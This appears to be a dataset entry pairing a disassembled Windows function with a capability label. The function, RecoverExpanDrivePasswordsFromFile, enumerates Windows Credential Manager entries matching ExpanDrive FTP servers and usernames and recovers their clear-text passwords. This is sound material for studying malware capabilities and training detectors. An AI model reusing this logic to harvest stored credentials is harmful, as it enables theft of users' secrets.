Function at 0x427c91
Capabilities:
Acquire credentials from windows credential manager

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x659c23
mov eax, dword fs:[0]
push eax
mov eax, 0xcf54
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xor esi, esi
xor ebx, ebx
mov dword [ebp - 0xcf38], eax
xor edi, edi
mov dword [ebp - 0xcf4c], esi
mov dword [ebp - 0xcf60], esi
mov dword [ebp - 0xcf5c], edi
mov dword [ebp - 0xcf3c], ebx
mov dword [ebp - 0xcf58], ebx
and dword [ebp - 4], ebx
and dword [ebp - 0xcf44], ebx
push 0x66ca20
push eax
lea eax, [ebp - 0xcf44]
push eax
call fcn.00632119
add esp, 0xc
test eax, eax
jne 0x4283e5
cmp dword [ebp - 0xcf44], eax
je 0x4283e5
push dword [ebp - 0xcf44]
lea eax, [ebp - 0x80f8]
push 0x2710
push eax
call fcn.00631f4f
add esp, 0xc
test eax, eax
je 0x427fec
lea eax, [ebp - 0x80f8]
push eax
call fcn.00631510
pop ecx
test eax, eax
je 0x427d76
lea eax, [ebp - 0x80f8]
push eax
call fcn.00631510
dec eax
pop ecx
cmp eax, 0x2710
jae 0x428419
mov byte [ebp + eax - 0x80f8], 0
lea eax, [ebp - 0x80f8]
push eax
lea eax, [ebp - 0x32d8]
push 0x2710
push eax
call fcn.006311ec
lea eax, [ebp - 0x32d8]
push eax
call fcn.00631510
inc eax
push eax
lea eax, [ebp - 0x32d8]
push eax
call fcn.00631711
lea eax, [ebp - 0x32d8]
push eax
call fcn.00449bad
lea eax, [ebp - 0x32d8]
push 0x7b
push eax
call fcn.006270b0
add esp, 0x24
test eax, eax
je 0x427de7
push str.Found_start_of_account_...
call fcn.00449974
pop ecx
mov byte [ebp - 0x7e0], 0
mov byte [ebp - 0x3f8], 0
jmp 0x427fbe
lea eax, [ebp - 0x32d8]
push 0x7d
push eax
call fcn.006270b0
pop ecx
pop ecx
test eax, eax
je 0x427ed2
push str.We_have_hit_the_end_of_account...insert_the_data_to_list
call fcn.00449974
lea eax, [ebp - 0x3f8]
push eax
call fcn.00631510
pop ecx
pop ecx
test eax, eax
je 0x427dd4
lea eax, [ebp - 0x7e0]
push eax
call fcn.00631510
pop ecx
test eax, eax
je 0x427dd4
lea eax, [ebp - 0x7e0]
push eax
lea eax, [ebp - 0x3f8]
push eax
push str.__Adding_server_s_and_username_s_to_list
call fcn.00449974
lea eax, [ebp - 0x7e0]
push eax
lea eax, [ebp - 0x3f8]
push eax
push 0x673bb4
lea eax, [ebp - 0xbc8]
push 0x3e8
push eax
call fcn.00445d6d
add esp, 0x20
lea eax, [ebp - 0xbc8]
lea ecx, [ebp - 0xcf30]
push eax
call fcn.00403072
mov byte [ebp - 4], 1
lea eax, [ebp - 0xcf30]
push eax
cmp edi, ebx
je 0x427ea0
mov ecx, edi
call fcn.00402fc5
push 0x18
pop eax
add edi, eax
mov dword [ebp - 0xcf5c], edi
jmp 0x427ebe
push edi
lea ecx, [ebp - 0xcf60]
call fcn.00402248
mov ebx, dword [ebp - 0xcf58]
mov edi, dword [ebp - 0xcf5c]
mov dword [ebp - 0xcf3c], ebx
lea ecx, [ebp - 0xcf30]
mov byte [ebp - 4], 0
call fcn.0044402a
jmp 0x427dd4
lea eax, [ebp - 0x32d8]
push str.server:
push eax
call fcn.00627320
mov dword [ebp - 0xcf38], eax
pop ecx
pop ecx
test eax, eax
je 0x427f45
push str.server:
call fcn.00631510
mov esi, eax
lea eax, [ebp - 0x32d8]
add esi, dword [ebp - 0xcf38]
push 0x2c
push eax
call fcn.006271e0
add esp, 0xc
test eax, eax
je 0x427f19
mov byte [eax], 0
push esi
lea eax, [ebp - 0x3f8]
push 0x3e8
push eax
call fcn.006311ec
lea eax, [ebp - 0x3f8]
push eax
call fcn.00449da7
lea eax, [ebp - 0x3f8]
push eax
push str._n_Found_host_s
jmp 0x427fb6
lea eax, [ebp - 0x32d8]
push str.username:
push eax
call fcn.00627320
mov dword [ebp - 0xcf38], eax
pop ecx
pop ecx
test eax, eax
je 0x427fbe
push str.username:
call fcn.00631510
mov esi, eax
lea eax, [ebp - 0x32d8]
add esi, dword [ebp - 0xcf38]
push 0x2c
push eax
call fcn.006271e0
add esp, 0xc
test eax, eax
je 0x427f8c
mov byte [eax], 0
push esi
lea eax, [ebp - 0x7e0]
push 0x3e8
push eax
call fcn.006311ec
lea eax, [ebp - 0x7e0]
push eax
call fcn.00449da7
lea eax, [ebp - 0x7e0]
push eax
push str._n_Found_username_s
call fcn.00449974
add esp, 0x18
push dword [ebp - 0xcf44]
lea eax, [ebp - 0x80f8]
push 0x2710
push eax
call fcn.00631f4f
add esp, 0xc
test eax, eax
jne 0x427d44
mov esi, dword [ebp - 0xcf60]
mov dword [ebp - 0xcf4c], esi
push dword [ebp - 0xcf44]
call fcn.00637603
pop ecx
mov eax, edi
sub eax, esi
push 0x18
cdq
pop ecx
idiv ecx
mov dword [ebp - 0xcf48], eax
cmp eax, 1
jae 0x42803e
push str.RecoverExpanDrivePasswordsFromFile
push str._s_No_stored_FTP_entries_present_in_file_...returning_now
call fcn.00449974
pop ecx
pop ecx
test esi, esi
je 0x4283fd
mov ebx, esi
cmp ebx, edi
je 0x4280ab
push 0x18
pop esi
mov ecx, ebx
call fcn.0044402a
add ebx, esi
cmp ebx, edi
jne 0x42802f
jmp 0x4280a5
push eax
mov ebx, str.RecoverExpanDrivePasswordsFromFile
push ebx
push str._s_Total_FTP_entries_found____d
call fcn.00449974
add esp, 0xc
lea eax, [ebp - 0xcf40]
push eax
lea eax, [ebp - 0xcf50]
push eax
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_CredEnumerateA]
test eax, eax
jne 0x4280fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push str.__s_:_CredEnumerate_failed_with_error_0x_.8x
call fcn.00449974
add esp, 0xc
test esi, esi
je 0x4283fd
mov ebx, esi
cmp ebx, edi
je 0x4280ab
push 0x18
pop esi
mov ecx, ebx
call fcn.0044402a
add ebx, esi
cmp ebx, edi
jne 0x428098
mov esi, dword [ebp - 0xcf4c]
mov eax, dword [ebp - 0xcf3c]
sub eax, esi
mov dword [ebp - 0xcf34], esi
push 0x18
cdq
pop ecx
idiv ecx
imul eax, eax, 0x18
mov dword [ebp - 0xcf3c], eax
cmp eax, 0x1000
jb 0x4280f0
lea eax, [ebp - 0xcf3c]
push eax
lea eax, [ebp - 0xcf34]
push eax
call fcn.00443845
mov eax, dword [ebp - 0xcf3c]
mov esi, dword [ebp - 0xcf34]
pop ecx
pop ecx
push eax
push esi
call fcn.005fe4f9
pop ecx
pop ecx
jmp 0x4283fd
push dword [ebp - 0xcf50]
push ebx
push str._s_:_CredEnumerate_found__d_accounts
call fcn.00449974
xor ebx, ebx
add esp, 0xc
mov dword [ebp - 0xcf38], ebx
cmp dword [ebp - 0xcf50], ebx
jbe 0x428355
mov ecx, dword [ebp - 0xcf40]
mov eax, dword [ecx + ebx*4]
cmp dword [eax + 0x1c], 0
je 0x428331
cmp dword [eax + 0x18], 1
jb 0x428331
and dword [ebp - 0xcf34], 0
mov eax, esi
mov dword [ebp - 0xcf54], esi
cmp dword [eax + 0x14], 0x10
mov edx, eax
jb 0x42815c
mov edx, dword [eax]
mov eax, dword [ecx + ebx*4]
push dword [eax + 8]
push edx
call fcn.00631435
pop ecx
pop ecx
test eax, eax
je 0x42819a
mov ecx, dword [ebp - 0xcf34]
mov eax, dword [ebp - 0xcf54]
inc ecx
add eax, 0x18
mov dword [ebp - 0xcf34], ecx
mov dword [ebp - 0xcf54], eax
cmp ecx, dword [ebp - 0xcf48]
jae 0x4281c4
mov ecx, dword [ebp - 0xcf40]
jmp 0x428152
mov eax, dword [ebp - 0xcf40]
mov eax, dword [eax + ebx*4]
push dword [eax + 8]
push str.RecoverExpanDrivePasswordsFromFile
push str._s_:_________Found_matching_entry_in_credential_manager__s
call fcn.00449974
mov ecx, dword [ebp - 0xcf34]
add esp, 0xc
cmp ecx, dword [ebp - 0xcf48]
je 0x428342
mov eax, dword [ebp - 0xcf40]
mov eax, dword [eax + ebx*4]
cmp dword [eax + 0x30], 0
mov ecx, dword [eax + 0x1c]
mov ebx, dword [eax + 0x18]
mov dword [ebp - 0xcf34], ecx
je 0x428212
push dword [eax + 0x30]
lea eax, [ebp - 0xa808]
push 0x2710
push eax
call fcn.006311ec
lea eax, [ebp - 0xa808]
push eax
push str.RecoverExpanDrivePasswordsFromFile
push str._s_:___Clear_Creds:_Username___s
call fcn.00449974
add esp, 0x18
push str.RecoverExpanDrivePasswordsFromFile
push str._s___Clear_Creds____Checking_for_unicode_or_ascii_text
call fcn.00449974
pop ecx
pop ecx
cmp ebx, 2
jb 0x42826a
mov eax, dword [ebp - 0xcf34]
cmp byte [eax + 1], 0
jne 0x42826a
shr ebx, 1
push ebx
push str.RecoverExpanDrivePasswordsFromFile
push str._s___Clear_Creds:_Found_Unicode_password_of_length__d
call fcn.00449974
add esp, 0xc
lea eax, [ebp - 0x59e8]
xor ecx, ecx
push ecx
push ecx
push 0x2710
push eax
push ebx
push dword [ebp - 0xcf34]
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x428295
push ebx
push str.RecoverExpanDrivePasswordsFromFile
push str._s___Clear_Creds____Found_ASCII_password_of_length__d
call fcn.00449974
push ebx
push dword [ebp - 0xcf34]
lea eax, [ebp - 0x59e8]
push 0x2710
push eax
call fcn.00631360
add esp, 0x1c
cmp ebx, 0x2710
jae 0x428419
lea eax, [ebp - 0x59e8]
mov byte [ebp + ebx - 0x59e8], 0
push eax
push eax
call fcn.00631510
pop ecx
push eax
push str.RecoverExpanDrivePasswordsFromFile
push str._s___Clear_text_Password___d____s
call fcn.00449974
mov eax, dword [ebp - 0xcf40]
mov ebx, dword [ebp - 0xcf38]
mov eax, dword [eax + ebx*4]
push dword [eax + 8]
lea eax, [ebp - 0xcf18]
push 0x2710
push eax
call fcn.006311ec
lea eax, [ebp - 0xcf18]
push 0x2f
push eax
call fcn.006270b0
add esp, 0x24
test eax, eax
je 0x428302
mov byte [eax], 0
push 0xffffffffffffffff
mov ecx, 0x66ae5d
lea eax, [ebp - 0x59e8]
push ecx
push eax
lea eax, [ebp - 0xa808]
push eax
lea eax, [ebp - 0xcf18]
push eax
push ecx
push 0x14b
push 4
call fcn.00412c85
add esp, 0x20
jmp 0x428342
push str.RecoverExpanDrivePasswordsFromFile
push str._s_password_is_emtpy...ignoring
call fcn.00449974
pop ecx
pop ecx
inc ebx
mov dword [ebp - 0xcf38], ebx
cmp ebx, dword [ebp - 0xcf50]
jb 0x428126
push dword [ebp - 0xcf40]
call dword [sym.imp.ADVAPI32.dll_CredFree]
push str.RecoverExpanDrivePasswordsFromFile
push str._s___Exit
call fcn.00449974
pop ecx
pop ecx
test esi, esi
je 0x4283e0
mov ebx, esi
cmp ebx, edi
je 0x428392
push 0x18
pop esi
mov ecx, ebx
call fcn.0044402a
add ebx, esi
cmp ebx, edi
jne 0x42837f
mov esi, dword [ebp - 0xcf4c]
mov eax, dword [ebp - 0xcf3c]
sub eax, esi
mov dword [ebp - 0xcf38], esi
push 0x18
cdq
pop ecx
idiv ecx
imul eax, eax, 0x18
mov dword [ebp - 0xcf48], eax
cmp eax, 0x1000
jb 0x4283d7
lea eax, [ebp - 0xcf48]
push eax
lea eax, [ebp - 0xcf38]
push eax
call fcn.00443845
mov esi, dword [ebp - 0xcf38]
mov eax, dword [ebp - 0xcf48]
pop ecx
pop ecx
push eax
push esi
call fcn.005fe4f9
pop ecx
pop ecx
xor eax, eax
inc eax
jmp 0x4283ff
push dword [ebp - 0xcf38]
push str.RecoverExpanDrivePasswordsFromFile
push str._s_Failed_to_open_file__s
call fcn.00449974
add esp, 0xc
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005fe955
leave
ret
call fcn.005fe87a
int3